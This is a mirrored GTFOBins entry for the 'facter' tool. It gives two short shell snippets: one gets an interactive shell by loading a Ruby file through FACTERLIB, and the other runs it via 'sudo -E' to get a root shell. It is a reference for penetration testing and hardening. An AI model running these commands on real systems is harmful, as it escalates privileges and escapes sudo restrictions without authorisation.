mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
aab8e783ec
Thanks to #20.
14 lines
284 B
Markdown
14 lines
284 B
Markdown
---
|
|
functions:
|
|
execute-interactive:
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
echo 'exec("/bin/sh")' > $TF/x.rb
|
|
FACTERLIB=$TF facter
|
|
sudo-enabled:
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
echo 'exec("/bin/sh")' > $TF/x.rb
|
|
FACTERLIB=$TF sudo -E facter
|
|
---
|